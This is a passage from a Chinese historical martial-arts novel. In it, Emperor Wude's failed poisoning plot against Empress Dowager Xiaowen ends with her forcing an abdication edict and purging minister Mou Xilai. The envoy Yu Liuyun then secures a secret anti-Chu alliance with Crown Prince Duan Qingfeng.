武德帝随他所指看去,果然看到穆成雪和段青锋并肩而来。两人到了跟前都同他行礼。他就问:“你们是从太后那儿来么?” 穆成雪道:“正是。” 武德帝又问:“那么现在要回去了?” 穆成雪点点头。武德帝望着儿子,绿眸在月光下显得分外冰冷:“你呢?” “儿臣送皇嫂回去。”段青锋回答。 “哦。”武德帝道,“时候也不早了,快去吧。” 两个年轻人便又欠了欠身,朝他们的去路上去了。武德帝出神地望了一会儿,心中发寒:父子之间竟然是无话可说的!如果当初……他摇了摇头,把这个念头甩去——世上岂有这种“如果”?一切都只是“眼前”,此后才能讲“将来”。 于是加快脚步来到慈安殿,因为走得急了,出了一身的汗。 宫女通报进去,孝文太后升座接见,乃是在佛堂中——孝文太后是带发修行的出家人,武德帝也常年在枯云寺中礼佛,母子二人在蒲团上相对而坐,没有半分皇家风范。武德帝干脆叫太监和宫女都下去。他的亲信太监遵旨即去,而孝文太后的宫女却似乎不放心老太后一个人,犹豫着不动。还得孝文太后来吩咐:“晚了,你去吧。”她才慢慢地退了出去。 大门关上,里面只剩武德帝和他的养母。他深深地吸了一口气,道:“儿臣……也有很久没有给母后请安了。” 孝文太后道:“你心中有母后,不请安也是孝顺。心中没有母后,便是请了安又如何?” 武德帝不答。 孝文太后又道:“再说,世间万物皆空。你心中有没有母后,你来不来给母后请安,有何分别呢?都是虚幻而已。” 武德帝道:“母后潜心修佛,果然佛学造诣高于儿臣。” 孝文太后道:“我和皇帝怎么可以相比呢?皇帝就算是身在枯云寺,还是一国之君。这都没有放下,说什么修佛?你若真有心,就把国家交给锋儿,这样一来,自然心思澄明,对佛法的领悟也会更上层楼。” 武德帝怔了一下,道:“锋儿这些年在母后身边,果然有些您老人家的风范。朕起初见他贪玩,还怕他将来会误国,原来朕的担心是多余的。朕看他再磨练些时候,将来国家交给他,朕也总算对的起祖宗。这都是母后的功劳。母后辛苦了。” 孝文太后道:“皇帝何必这样说。我嫁入你们段家,就是段家的人。我为段家教养子孙,那是应该的。” 武德帝道:“母后教训的是。就连儿臣多年来也多承母后手把手的指引,西瑶才能有今天。” 孝文太后轻轻一笑:“你虽不是我亲生,但是几十年母子,何必说话还拐弯抹角?你深夜来找我请安怕不是为了向我道谢吧?” 武德帝望着养母,没有立刻回答。 孝文太后道:“西瑶能有今天不能说跟我一点关系也没有,但是西瑶的明天如何,你希望跟我没有关系,是也不是?” 武德帝依然不回答。 孝文太后道:“牟希来几十年前就想杀了我,当时你没有答应,后来是不是很后悔?今天他没有杀成我,你是不是很遗憾?” 武德帝不能再沉默了:“老师和母后之间有误会,儿臣也很为难。” 孝文太后的表情似乎是在冷笑,但是并没有笑出声:“你很为难?我同你都是段家的人,西瑶是我段氏的天下,有哪个姓段的人不想国家好的?自家人同外人之间起了纷争,你需要为难么?” 武德帝咬了咬嘴唇:“儿臣知道母后所做的都是为了江山社稷,老师我所做的也是为了江山社稷。儿臣不是小孩子,可不可以有自己的判断?” “哦?”孝文太后扬了扬眉,“皇帝这是在怪我独断专行了?” 武德帝咬了咬牙:“儿臣不敢。” 孝文太后道:“这有什么敢不敢的?怪就是怪了,而且我老太婆也的确是独断专行——记得当初我建议你脱离楚国而独立,牟希来是带头反对的。他一说,你也就跟着动摇,是我坚持,这事才定了下来——你说我这不叫独断专行,叫什么?” 武德帝垂着头,感觉汗水正从自己的额头上淌下来:“母后英明。” 孝文太后道:“你不要口里说我英明,其实你心里一直怪我这样做太冒险,使西瑶同楚国结怨。你恐怕楚帝会怪罪下来,影响两国贸易,所以你就积极寻找新的靠山——赵王爷一上门,你立刻就答应了他。你又怕我再干涉这件事,所以干脆就不说给我知道,是不是?这就是你自己的决断了?” 武德帝道:“儿臣……儿臣知道这次和赵王爷结盟的决定太轻率才惹出许多麻烦,所以儿臣……” “所以你就听了牟希来的建议,现在要转和楚国的那个什么公孙天成立约么?”孝文太后的声音虽然不大,但是却像是钉子似的,钉住了武德帝不许他回避。 “不。”武德帝道,“儿臣……儿臣知道母后派锋儿去过樾国,所以儿臣猜想,母后应该是想和樾国皇帝结盟,所以儿臣已经叫人按照原来的盟书照样准备了火炮和《铸造秘要》,今夜就装船给玉、石两位大人。明日巳时,送他们从水路归国。” “哦?”孝文太后略感意外,微微地眯起眼睛想把养子看得更清楚,好从他的神情来分辨他是否撒谎。不过武德帝半垂着头,房内的光线又昏暗,他的脸因此显得很模糊。孝文太后站起了身,亲自去拈灯,同时道:“这是锋儿同你说的么?” “不。”武德帝回答,“儿臣是看到法会之上玉、石两位坐在母后身边。而公孙先生就是混在戏子中才得以入宫——还是让儿臣来吧。”他从孝文太后手中接过灯。 不时,灯火变得明亮了,照着他面上佛像一般的表情。孝文太后解读不出什么来。“公孙天成是因为差点儿被人杀了才要混在戏子的队伍中。”她道,“他也是锋儿请回来的。你怎么知道这不是我的意思?” “儿臣,”武德帝咬了咬嘴唇,“儿臣知道母后素来不信任楚国人。” 孝文太后面色一变,脸上显出诡异的光影效果:“怎么这样说?” 武德帝淡淡地:“知母莫若子。儿臣虽然不知道是何原因,不过儿臣想,母后是绝对不会和楚人结盟的。所以……所以儿臣已经敷衍好了公孙先生。他明日一早也会坐船离开。儿臣本来想干脆杀了他,但是毕竟现在还不是得罪楚国的时候……擅做主张,请母后示下。” “是么……”孝文太后喃喃道,“那么牟希来对这事是怎么看的?” “老师怎么看并不重要。”武德帝道,“重要的是,儿臣想最后一次依照母后的意思办事。” “最后一次?”孝文太后蹙眉。忽然身子晃了晃,跌坐在了蒲团上:“你……你做了什么?” 武德帝跟着在她身边坐下,将灯放在两人中间:“儿臣斗胆,母后身在佛门却放不下朝中的事,儿臣无奈出此下策,好将母后请回慈济庵去。这是无色无臭的碧蚕香。若母后愿意从此潜心修行不再过问政事,儿臣自然每年将解药奉上。若是母后不答应……” “如何?”孝文太后冷着脸,“你就要弑母么?” 武德帝道:“儿臣情非得以。儿臣不能让母后把国家卷入战争之中。相信父王地下有知也不会怪罪儿臣的。” 孝文太后哈哈大笑,甚是阴冷:“你所做的都是为了国家,我所做的就不是么?几十年母子,我问心无愧,不料竟落得如此下场!” 武德帝咬着嘴唇,想来是趁着方才捻灯之际将毒药放在灯中,这时又将灯擎了起来,举到了养母的面前:“母后,儿臣对你十分敬重,决不想害你性命。母后年事已高,理应安享天年。儿臣可以在宫中为母后兴修庵堂,只要母后答允儿臣不再过问国事。” 孝文太后冷冷地看着他:“皇帝,你太令我失望了。”蓦地,她手一挥,将灯台抚到了地上。灯油流动,立刻就在烧成了一片。附近的蒲团也就着了火。武德帝一惊,连忙去扑。不想孝文太后“倏”地站了起来,一脚踩住他的衣袖:“你既然想我死,还灭什么火?你快快逃了出去,留我老太婆一个人在这里岂不干净?” “母后……”武德帝一愕,只听身后门“喀”地一响,玄衣已经扑了进来,苍翼、朱卉、白翎紧随在后。“娘娘,您没事吧?” 孝文太后挪开了脚,整整衣衫:“我没事。”朱卉和白翎紧步上前,三两下踩灭了火焰。玄衣和苍翼则一边一个夹住了武德帝。苍翼吸了吸鼻子:“好家伙,这不是碧蚕香么?竟敢谋害太后,快把解药交出来!” 武德帝面色惨然,似是存了和孝文太后同归于尽之心,所以闭口不言。 孝文太后摇摇头:“不用了。我是不怕毒药的。你们几个自己可以把毒逼出来么?” 苍翼道:“这点儿雕虫小技,还难不倒我们——娘娘不怕毒药,这是怎么一回事?” “是我小的时候一位长辈送的礼物,”孝文太后回答,“吃下之后自然百毒不侵。” “啊,莫非是翦大王留下的灵药?”玄衣问。 “不是。”孝文太后道,“是先父的一位好朋友。陈年旧事了,恐怕他也早就不在人间。我们不必再提这些——皇帝,你没有想到吧?” 武德帝苦笑:“母后果然总是比儿臣棋高一着,儿臣……无话可说了。全凭母后处置。” 孝文太后瞥了他一眼:“处置?你以为我要如何处置你?你要弑母,莫非我就要弑君么?” 武德帝知道计划失败,一副引颈就戮的神气。孝文太后摇了摇头:“一国之君因为谋害母后而被废,这种事情传了出去百姓会怎么想?你不怕去见你父王,我还怕他怪我没将你教养好呢!”她转头吩咐朱卉:“帮我取文房四宝来给皇上,他要下圣旨。” 朱卉道:“是。”即刻就拿了笔墨纸砚来。 玄衣和苍翼押武德帝到桌边。孝文太后即道:“我说,你写——你是一国之君,却醉心佛法。你想要出家为僧,却觉得太子经验尚浅,不足以独立治国。所以你决定先回到宫中,亲自辅佐太子三年,然后禅位于他……你又思念母后,所以请求我回到宫中,共度你出家前的最后三年时光……”她看了看一脸惊诧的武德帝:“为什么不写?难道要我一个字一个字地报给你吗?” “母后是想……软禁儿臣?” 孝文太后道:“什么软禁?只是请你替锋儿扫清继位前的障碍啊。” 武德帝抓着笔的手在颤抖:“我不写。我不能写。母后想借我操纵国家……母后,您收手吧!” 孝文太后冷冷而笑:“要是你自己能治理好国家,我老太婆何必揽这麻烦?你写得写,不写也得写——牟希来居心叵测,意图谋害太后,罪大恶极,不可饶恕。即日起革去一切职务,抄没家产。本来应该诛九族,不过太后笃信佛理,有仁爱之心,特准全家发配桂洲矿山,永世不得回京。” 武德帝的眼中流下泪来,滴在纸上,先写好的“奉天承运”四个字被晕得模糊一片。 “娘娘,这封圣旨要什么时候发出?”玄衣问。 “明天早上吧。”孝文太后道,“这才显得我和皇帝商讨了一夜,方斟酌出这样的决定——不过要在巳时之前。我要让玉旒云看到。”她又转向武德帝:“母后的苦心你总会明白——多谢你为樾国使节准备船只。你慢慢写吧。” 53. 第 53 章 其实玉旒云并没在体元殿休息。她只是简单地处理了伤口,待段青锋一走,就决定要去见孝文太后。 “夜长梦多,”她道,“此事越早结束越好。” 石梦泉拦她不住。恰有两个宫女前来送茶点,玉旒云就将其中一个打晕了,换上了她的衣服,逼另一个带自己去太后寝宫。石梦泉本来要跟着,但是玉旒云以为他应该留下照应,以防突然有人闯来,撞破机关。石梦泉只得答应。果然后来就遇到了武德帝。 玉旒云在宫女的带领下来到了慈安殿。时段青锋和穆成雪也都还在。只听孝文太后道:“今天发生这么多事,你们不必替我老太婆担心。倒是你们两个很少有机会见到,应该好好聊一聊。” 穆成雪低着头:“皇祖母说哪里话?您先前受了惊吓,应该好好休息。而太子殿下也应该去看看皇上那边有什么事……这时候宫里应该很忙吧?” 孝文太后道:“宫里忙就让该忙的人忙去。皇上回了宫,天大的事情都有他撑着。” 穆成雪道:“可是……太子毕竟是太子,也许皇上有许多事要他协助呢……皇祖母要人陪着说话,有儿臣就好了。” “太子?”孝文太后叹了一声,“成雪,你难道不怀念锋儿还没做太子的那段日子么?你不怀念当初你们两个一起在我身边无忧无虑的日子吗?有一刻功夫可以抛开身份,就抛开吧。将来这样的时间还有多少?” “皇祖母……”段青锋颤了颤,“不要再说下去了。” “孱头!”孝文太后瞪了他一眼,“如果你早年争气些,怎么会让你父王硬把成雪许配给你大哥?这么些年来成雪受了多少委屈,你却连提都不敢提么?” 段青锋不语。 穆成雪道:“皇祖母不要骂太子了。是儿臣自己命薄,跟旁人都没有关系。” “唉!”孝文太后长叹一声,“我不是骂他……我是……算了,锋儿,你心里其实也很苦的。奶奶知道。这些旧事……” 才说着,门外宫女怯生生道:“启禀娘娘……” “什么事?” “在下玉旒云,来探望太后娘娘。” “哦,玉大人?”孝文太后叫请进来。看玉旒云的宫女装扮,皱了皱眉头,既而淡淡道:“本来应该是我去探望玉大人,怎么反倒劳驾玉大人跑一趟?” 玉旒云道:“素来只有晚辈拜见长辈的道理,哪有长辈看望晚辈的?” 孝文太后虽然得她挡了一箭,但是并不怎么领情,冷冷道:“玉大人说的太客气了,你我之间非亲非故,讲什么长辈、晚辈呢?” 玉旒云见她并不请自己坐,显然是不想留客,正暗骂着老妖婆可恶,却见玄衣等人走了进来,她心中不由一喜:我且看看这“翦大王”是何人!因笑道:“太后的话玉某人可不太赞同——出生有早有晚,因序长幼,就好像入门有早有迟,当排资历,何论亲疏?” 她此言一出果然就把苍翼的话头引了出来:“嘿嘿,听见没?入门有早有迟,当排资历——老尼姑,我比你先入师门,所以就是你的师兄,你还不来叫我一声?好师妹?” 玄衣立刻就抓住了他言语中的毛病,冷笑道:“奇怪了,你分明就是我的师弟,为什么要我叫你‘好师妹’?” 在场众人不由都是一笑。苍翼怒道:“老尼姑,出家人竟然油嘴滑舌,将来下了地狱小心被钩出舌头来!” 玄衣嘿嘿笑道:“贫尼每日虔心颂经,将来自然是要去西天极乐世界。师弟你成日都犯嗔戒,才要小心将来下地狱。” “哼!”苍翼冷笑,“师妹啊师妹,你们出家人不是成天说‘我不入地狱谁入地狱’么?怎么你反而说要去西天极乐世界呢?” 他性子急、说话快,不料又被玄衣抓到把柄:“对呀,正是‘你不入地狱谁入地狱’,师弟终于悟了。” 苍翼气得嗷嗷直叫:“老尼姑,你是不是死也要和我争?” “你们一人都少说一句吧!”孝文太后沉声打断,很是不快,“时间地点都不顾,一提到这事你们就吵个没完。刚才差点儿连我的老命都搭进去了呢!” 玄衣道:“娘娘,刚才的确是我们的疏忽,不过都要怪师弟。虽然我入门是比他迟,但是我师父比他师父先入祖师的门,而我祖师比他祖师先向翦大王学艺,所以无论如何,我都是他师姐。还请娘娘定夺。” “定夺!定夺!”孝文太后不耐烦道,“你们都争了几十年了,烦不烦啊?当年先父也没有想到后辈中会出这样的事,要不一早立下规矩也省得你们天天争吵!” 她果然就是那个翦大王的女儿!玉旒云心下大喜,却不露声色,只是道:“容我插一句嘴——我在樾国曾经听过一个子孙争财产的案子。因为这家的主人死时只说众子孙如果继续住在他家大宅中当如何如何,却没有讲过一旦要分家,财产当怎样分配。所以当子孙们打算分家时,就闹得不可开交。县老爷一个脑袋都变了两个大,没有办法,便叫那些子孙都到他们祖父的坟跟前去,烧香磕头,请祖父的鬼魂显灵来分配财产……” “切!”苍翼嗤笑道,“小丫头休要胡说八道,鬼魂哪会真的显灵的?如果出了什么事,那都是有人背后安排的。” 玉旒云笑道:“前辈请先听我说完——这些子孙到了祖父的坟前,焚香烧纸,本来只是想祖父鬼魂显灵,可后来才想起自己其实有很久没有去祭拜过祖父了,实在是不孝。他们又想起祖父在世时一家和睦,其乐融融,于是就断了分家的念头,大家回去,再也不提此事。一时在乡里传为佳话。” 苍翼愕了愕,嘟囔道:“好你个死丫头,竟然拐着弯儿骂我不孝!” 玄衣道:“人家没有骂你,是你自己心中有愧。不过说起来,师父当年交代我们的任务,一是要保护太后,二是要寻访翦大王尸骸的下落,我们却……唉!” 孝文太后皱了皱眉头,大约是嫌他们在外人面前毫无避忌地谈论往事,但是又清楚这几人的脾气一向如此,只有转向玉旒云道:“玉大人来探望我,应该不是就讲讲故事吧?” 玉旒云道:“自然不是,是有一件更重要的事情想向娘娘确认——娘娘可知玉某人方才为何要替您挡一箭?” 自然是为了和我国结盟的事,孝文太后心想,但是并不言明。 玉旒云道:“我在楚国曾经受过一位武林前辈的恩惠,为了报答他,我答应帮他寻访一位故人。如果太后就是这位故人,那么玉某人这一箭总算没有白挨。” 太后眯起了眼睛:“我长居西瑶,而且年纪也大了。我的‘故人’应该都早已不在人世,怎么还会在楚国呢?玉大人看来真是白挨了这一箭。” 玉旒云笑道:“能救人一命总算是功德。再说,娘娘还没听我说这故人是谁,怎么就断定我认错了呢?其实要说起这个人,他已经六十年没有踏入江湖了,我看他今年总也有八、九十岁呢!” 孝文太后身子一颤。 玉旒云接着道:“虽然他不以真姓名示人,但是他却告诉了我这位故人的姓名。他的故人姓翦——我听到几位前辈说到‘翦大王’,不知是不是当年的栗佤族大祭司也即楚国武林盟主翦重华翦大侠呢?” 她话音还未落,苍翼已经跳了起来:“小丫头,祖师爷的名讳岂是你能随便叫的?”朱卉也道:“你从哪里听到翦大王的事?那位前辈是什么人?在哪里?” 玉旒云并不答他们的话,只是看着孝文太后。老妇人的面容犹如雕塑,眼珠子一动不动地盯在她的脸上:“你们先出去一下,我想和玉大人单独谈谈。” “哈?”苍翼正有满肚子的问题要问,但是玄衣不管三七二十一,就把这嘟嘟囔囔的家伙推出了门去。朱卉、白翎和穆成雪都相继告退。只段青锋还站着不动。 “你也出去。”孝文太后道,“把你皇嫂送回去——玉大人,请坐。” 玉旒云知道自己找对人了,谢了座,静静等着孝文太后发话,自己好随机应变。 孝文太后待段青锋出门,就道:“玉大人可是遇到了阕前辈么?” “老前辈没有告知姓名。”玉旒云回答,“原来他是姓阕。” 孝文太后沉默了一下,手指在茶几上有一下没一下地敲着。玉旒云暗想:不知她下面是要问我那瞎老人的近况呢,还是试探我对翦重华的事究竟知道多少?事关重大,我要留神应付才好! “哼!”蓦地一声轻轻的冷笑,孝文太后道,“既然你知道我的身份,那么也不需要绕弯子了。你想要跟我老太婆提什么条件,只管说来!” 玉旒云愣了愣:倒真是直接!她便轻轻一笑:“我如何是来跟娘娘提条件的?我只是想来问问娘娘,您觉得楚人如何?” 孝文太后瞥了她一眼:“黄毛丫头不要想在我面前玩什么花样。你就是为了要和西瑶结盟,联兵灭楚而来的,你打量我不知道么?有什么条件快快提出来。我没时间跟你胡扯。” 玉旒云收起了笑容,只是顷刻间,她的脸就变得像冰霜一般的寒冷。“不错。”她道,“我就是要灭了楚国。无论得不得到西瑶的兵力支持,我都要灭了楚国。” 孝文太后似乎被她这阴鸷的表情所震慑,朝后靠了靠:“那你何必还要来西瑶?你就不怕会死在西瑶么?” 玉旒云道:“我当然怕,不过在灭楚国之前我一定不会死。”“ 孝文太后冷笑了一下,仿佛是笑年轻人狂妄。 玉旒云并不在乎,径自说下去:“我来西瑶,一是因为如果得到贵国兵力支持,攻破凉城的日子可能会提早些。另一个原因是……”她顿了顿:“我希望太后知道,我要灭楚国的原因和您是一样的。” “什么意思?”孝文太后沉着脸。 “家破人亡。”玉旒云一字一字道,“此仇不共戴天。” “你……”孝文太后掩饰不住惊讶之色。本来她应该厉声呵斥,“小丫头休得胡说八道”,但是面对冰峰一般的玉旒云她一个字也说不出来。原本针锋相对的气氛变成一种难以言喻的吸引:是看到了当年的自己,还是几十年来自己并没有改变过,现在是看到了分身? 过了许久,她才回复了太后的气度:“哼,玉大人毕竟还是年轻。天下大事岂是私人恩怨?有不共戴天之仇,就去找仇人便是,为此要灭了一个国家,实在有点小题大做。” 玉旒云未料她有这种说法,但只是略愣了愣,即道:“太后说的的确没错,那么敢问您若是要报仇,该去找楚国武林中的哪一位呢?凭着您身边的四大高手去把楚国武林八大门派的掌门人一一杀死么?” 孝文太后不说话。 玉旒云道:“恐怕连您自己也不认为这是个好方法吧?要不然六十年过去,您怎么都没有去找这些只识争权夺利的武林匹夫算帐?” 孝文太后依然不说话。 玉旒云就接着道:“玉某人的情形同您也差不多。楚国正是这种伪君子太多,所以根本不知道要去找谁报仇才好。” 孝文太后冷哼一声:“你不用激我。我看不出帮你灭楚国和为先父报仇有什么关联。楚国换了皇帝,于武林中人有何影响?再说,我的事情你并不是全知道。不要自以为聪明了。” 玉旒云道:“太后的事情玉某自然不能全部知晓,但也无需知晓。不知太子殿下当初跟玉某商定的盟约条件太后您有否过目?我已答应他,一旦攻下楚国,西瑶将得到楚国半壁江山。届时我樾国和你西瑶将以云岭和汉河为界南北分治。我想,太后娘娘对天江畔秦山上的一些东西一定会非常感兴趣。” 孝文太后做不毫不在意的样子:“我老太婆老了,打下江山也只是孙子的,跟我有何干系?” 玉旒云道:“秦山上靠近白虹峡处有一座坟墓是阕前辈所立,墓碑上写着‘华重翦’三个字,难道太后不想把次序调过来么?” “什么?阕叔叔他……” 玉旒云知道孝文太后终究还是放不下往事,便接着道:“如果西瑶军队助我攻下楚国,战后划分天下,顺理成章。但若是西瑶军队想作壁上观,恐怕最后这一杯羹是分不到的。到时秦山和山上的一切也自然都成了我樾国领土,我樾国皇帝可没有义务为一个不认识的人大修陵墓。如果周边小民不小心掘坏了……依我樾国律例,无心之失,最多罚个一百两吧。太后以为如何呢?” 孝文太后的十指都抠进了太师椅扶手的雕花中。让一个后辈抓到自己的短处,她实在心有不甘。 玉旒云则是暗暗有了得意之感。可偏偏这个时候,外面太监尖声通传:“皇上驾到!” 孝文太后的神色随即一变:“玉大人,看来你不可在此久留了。” 玉旒云还是一直留到武德帝和孝文太后到佛堂里坐下,她才不得不离开慈安殿。一边往体元殿走,一边埋怨武德帝出现的真不是时候。这个皇帝是站在赵王那一边的,她想,现在泰和商号公然刺杀太后,不知他要如何收场呢? 回到体元殿,见到石梦泉正在门前焦急地踱来踱去,便笑着上前道:“怎么?还怕我被皇宫里的草包侍卫抓了去?” 石梦泉当然是担心她的伤势,但看她精神尚好,这一问就不必出口,只道:“大人回来就好了,刚才西瑶皇帝到这里来找大人。”即将武德帝来访之事大略说了一回。 玉旒云皱起眉头:“这母子二人玩的什么花样?”也将自己在孝文太后处的情形告诉了石梦泉:“若不是皇帝老儿突然跑来,孝文太后估计已经答应了我的条件——不过也好,她真的是翦重华的女儿,就怎么也不会和公孙天成那老家伙结盟的。” 石梦泉道:“武德帝说已经派人去缉拿泰和商号的人,如果是真的,那么他和赵王爷自然只有撕破脸来。如果是假的……那明天在船上就得多加小心。” 玉旒云点头赞同。不过,明天的事只有等到明天再说。两人都十分疲倦,便各自回去休息——全不知道这一晚上,西瑶已经发生了翻天覆地的变化。 到次日一早用了早膳,太监就来请,说是武德帝在前殿召集群臣议事,也顺便给玉、石二人送行。两人便跟着前来。到殿上一看,见武德帝端坐龙椅上,旁边是段青锋,后面挂着珠帘,隐约可以看到孝文太后。玉旒云轻声嘀咕:“咦,这是垂帘听政了么?” 武德帝的表情还和前日一样好似佛像,看不出任何的喜怒哀乐。众人到齐了,旁边的太监就道:“皇上有旨,听宣——” 大家经过昨天的一场变乱,早也盼着有个说法了,全都跪下,连呼万岁。 那太监念道:“奉天承运,皇帝诏曰:朕虽为一国之君,但心在佛门。历年来在枯云寺修佛,更感佛法之博大精深。朕有出家之念久矣,却不能置祖宗基业于不顾,踌躇再三,决意禅位于太子。然太子年少,恐其不熟治国之道,故朕意回宫三载,教导太子,三载之后,再行禅让。” 群臣听及此,不由面面相觑。 太监接着念了武德帝“思念母后,故劝其返宫居住,共叙天伦”,以及孝文太后禁不住皇帝苦苦哀求“终于应允”,并且经皇帝恳求再三,答应辅佐太子,这就解释了垂帘之事。 位列大臣之首的牟希来立刻跳了起来:“皇上,垂帘听政有违祖制,万万不可!” 群臣之中多是他的学生,也纷纷发出附和之声。 可太监把圣旨继续念下去:“太师牟希来,虽为一国之重臣,却结党营私,图谋不轨。其勾结凶徒,意图谋害太后……” 牟希来“哎呀”一声:“皇上……这……”立刻明白这是孝文太后搞的鬼,对前夜的政变也猜到了几分,摇着头,厉声喝道:“你……你挟持天子,你残害忠良……如此诬赖老夫,有何证据?” 珠帘纹丝不动,仿佛孝文太后根本不屑与他说话似的。 太监尖着嗓子继续念下去:“太后洪福齐天,牟希来阴谋败露。其人不思悔改,命人诛杀泰和商号同谋。幸天网恢恢、疏而不漏。其同谋已先为禁军所得。凶徒对此谋逆之举供认不讳,指认牟希来为主谋……” “哈哈……哈哈哈哈……”牟希来狂笑起来,“老夫是主谋?不错!老夫就是主谋!老夫后悔没早些杀掉你这个祸国殃民的老妖婆!”他对左右的御前侍卫喝道:“你们怎么不来护驾?你们看不出皇上被太后挟持了么?” 侍卫们一动不动,只有一个人微微转过了脸来。玉旒云瞥了一眼,原来是太后身边的白翎。 牟希来顿足:“废物!废物!诸位,如果是忠臣的,就快快随老夫勤王护驾!” 众大臣中确有不少觉得事有蹊跷的,才要起身,却听龙椅上武德帝道:“谁说朕被挟持?”大臣们不由都一愣。武德帝又道:“继续宣旨。” 太监躬身答应,读了下面对牟希来的处置,自是孝文太后交代的“抄家”和“发配”两条:“……着刑部尚书立即执行,不得有误。钦此!” 尾音落下时,满殿的人都愣住了,只有寥寥几个叩头呼“万岁”。牟希来好像在一瞬间已经化为死人,呆呆地站着,连呼吸的痕迹都看不出。那刑部尚书正是他的门生,朝前爬了几步,颤声道:“臣……遵旨……”当太监把圣旨交过来时,他仿佛接到一块千钧重的红烙铁,手一颤,就落在了地上。“啊,臣……”他赶忙去拾,也顺势跪倒在牟希来的脚边:“大人……我……” 牟希来见他如此,心中一动:啊,万岁特意让他来办我,就是知道他不会加害于我啊!只要我不死,事情终有一线转机!精神不由一振,望了望龙椅上的武德帝,正眼神复杂地看着自己。他即倒身一拜,道:“陛下要办老臣,老臣无话可说。老臣只想陛下知道,凡过去陛下交代老臣办的事,老臣没有一件不尽心尽力办到的。” 武德帝微微点头并不说话。 牟希来直起了身,对刑部尚书道:“还迟疑些什么?这就把老夫押下吧。” 刑部尚书颤声欲泣,却也无法,只好叫殿外禁军士兵来将牟希来带了出去。这时,珠帘微微一动,好像是孝文太后和武德帝说了什么话,后者就宣布:“退朝。”在禁军侍卫和太监的簇拥下到后殿去了。 群臣跪送君上。他们知道国有巨变,那些向日和牟希来交好的,个个自危,还有素日对牟希来阳奉阴违的,想要议论一番,但又不知三位主子葫芦里卖的什么药,也怕招来杀身之祸,只有在心里盘转着无数的猜测。 玉旒云和石梦泉则互望了一眼:这看来并不像是做戏。除掉了牟希来,就少一个支持赵王的人。却不知公孙天成这老狐狸跑到哪里去了? 正想着,太监从殿后转了出来:“两位大人,巳时将近,该出发去码头了。” 好,玉旒云暗想,就看看到底有什么花样! 从皇宫里抬了五乘八抬大轿,前有禁军开道,后面依次是段青锋、武德帝、孝文太后、玉旒云和石梦泉。接着有十数辆彩车,装着各式礼品。临渊的老百姓沿街看热闹——他们只听说是送外国使节,却不知道究竟哪一国使节有如此大的面子。 到了运河在临渊的码头上,见有二十来艘高大如活动堡垒般的福船,大部是西瑶水师的军舰,挂着“白龙营”“黑龙营”等不同的旗帜,也有商船,上面彩旗飘扬,简直可以用“花枝招展”来形容了。 队伍到了这商船的跟前就停了下来。自有卓思远从船上迎下:“皇上,娘娘,太子殿下,两位大人……”他自昨夜起就领了武德帝的命在此准备,早晨没有到朝会上去,还不知道宫里的事。 武德帝淡淡地叫他平身,心中很想把一切都说出来,可是却怎么也开不了口。 孝文太后望了望船:“哎哟,真是漂亮。可惜我老太婆年纪大了,经不得这摇晃。我就不上去了。皇帝在这里陪陪我。太子,你送两位大人上船吧。” 段青锋恭敬地答应,接着就向玉、石二人做了个请的动作。由卓思远陪着,三人从铺着织锦地毯的跳板登上了福船。 先下到船舱中看火炮。每一尊都以大红绸缎覆盖。卓思远为玉旒云揭开展示,果然和那日试炮时所见相同:长约两丈,重八千斤,威力无比。玉旒云忍不住要深手拍拍炮身。卓思远赶忙拦住:“大人,炮身上擦过油,仔细脏了大人的手。” “哦……”玉旒云笑了笑,“多谢大人提醒。”口里这样说,待旁人转过身去时,她还是在炮筒上按了按,生怕其中有诈。然而只是摸了一手油而已。石梦泉看到,暗暗好笑:大人就是这个脾气,改不了。他便悄悄递过一方帕子去。 卓思远又带两人来到舱房中。因为原先是军舰,所以这里本是舰船上将领的指挥之所,匆忙布置后,看起来像是个厅堂,所有放行军图册的架子都成了博古架和书架,放了许多花瓶香炉之类——素来没有船只这样布置出海,因为一旦遇到风浪,这些花瓶香炉就会掉下来。摔碎东西事小,砸伤人事大。可玉、石二人从来也不曾坐船出过海,是以并未起疑。 卓思远从桌上取过一本书双手交给玉旒云:“大人,这就是《铸造秘要》,请过目。” 玉旒云油污还没擦干净,两手背在身后不能拿出,因示意石梦泉收下。石梦泉就道了谢,接过来浏览了一回,道:“大人,正是你要的。” 玉旒云笑道:“好极,好极,旅途无聊正好可以研究研究。” 卓思远也笑道:“大人满意,那就再好不过了。”他引了玉、石二人到桌前,见上面有一式两封帛书,其内容和给赵王的盟书相同,正是前夜武德帝和石梦泉所说过的,西瑶提供火炮和铸造技术,而樾国承认西瑶独立,且不收商品关税,对联兵攻楚之事只字未提。玉旒云不禁略略有些失望:她倒希望是当日绿窗小筑中段青锋给自己看的那一份盟书呢! 卓思远道:“怎样?玉大人看过若无疑问就请和太子殿下一同签字用印。” “好。”玉旒云暗道:孝文太后既然如此死硬,跟她耗下去也没有意思。拿起笔来一挥而就。 段青锋也签好了。双方各留一份,接着焚香祭拜天地,表示若有违约者,天地不容。 “卓大人,”段青锋道,“父王和皇祖母送了两位大人许多礼物,烦请你帮忙督促一下,看看搬运完毕没有。” “是。”卓思远转身出去。 段青锋立刻从怀中取出另两张帛书来:“玉大人——” 玉旒云一看就认出来了,正是绿窗小筑中的盟书,一式两份。她不禁既惊讶又兴奋:“殿下这是……” 段青锋道:“玉大人可以细读一遍,不过这就是当日我给大人看过的盟书。如若不是公孙天成和老师突然闯进来,早就已经签毕。如今旧事重提,希望大人不觉得太晚。” 玉旒云道:“好事多磨,我可终于明白这个道理。只要是好事,岂有嫌晚的?” 段青锋道:“那么大人还是赶紧签字用印,祭告天地——须得赶在卓大人回来之前。” 想来这是孝文太后昨夜考虑的结果,玉旒云想,虽然太后已经垂帘,但是在西瑶毕竟还不能明目张胆地提到“结盟”与“参战”,所以连兵部尚书都要瞒住。不过这样一来这盟书会不会变成一纸空文? 段青锋猜到了她的顾虑,从袖中取出一只青龙兵符来,一分为二,将其中是一半交给玉旒云。玉旒云看到那断面上正镌着段青锋的名号。 “他日大人攻楚之时,如果需要我西瑶出兵援助的,就请使者将这兵符带来我军中。”段青锋道,“将士见此兵符犹如见我本人,定当鼎立相助。” 玉旒云大喜:“若是这样,那还等什么?”她提起笔来,倏倏将两份盟书都签了——上面段青锋早就签署完毕,大家各自收好,又来祭天。 焚了香,祝了酒,玉旒云却没有把酒杯放下,而是举向段青锋道:“殿下,我二人没少喝酒,不过作为盟友还是第一次。今日一别,希望再次同饮之时就是在云岭汉河的分界线上。” 段青锋为了这一纸盟书奔波了大半年,现在不管是用什么法子终于达成了目的,又不管将来还有多少麻烦需要善后,他也觉得自己有好好畅饮一杯的必要。因举杯与玉旒云一碰,道:“好,在云岭汉河见面!” 两人相对,一饮而尽。 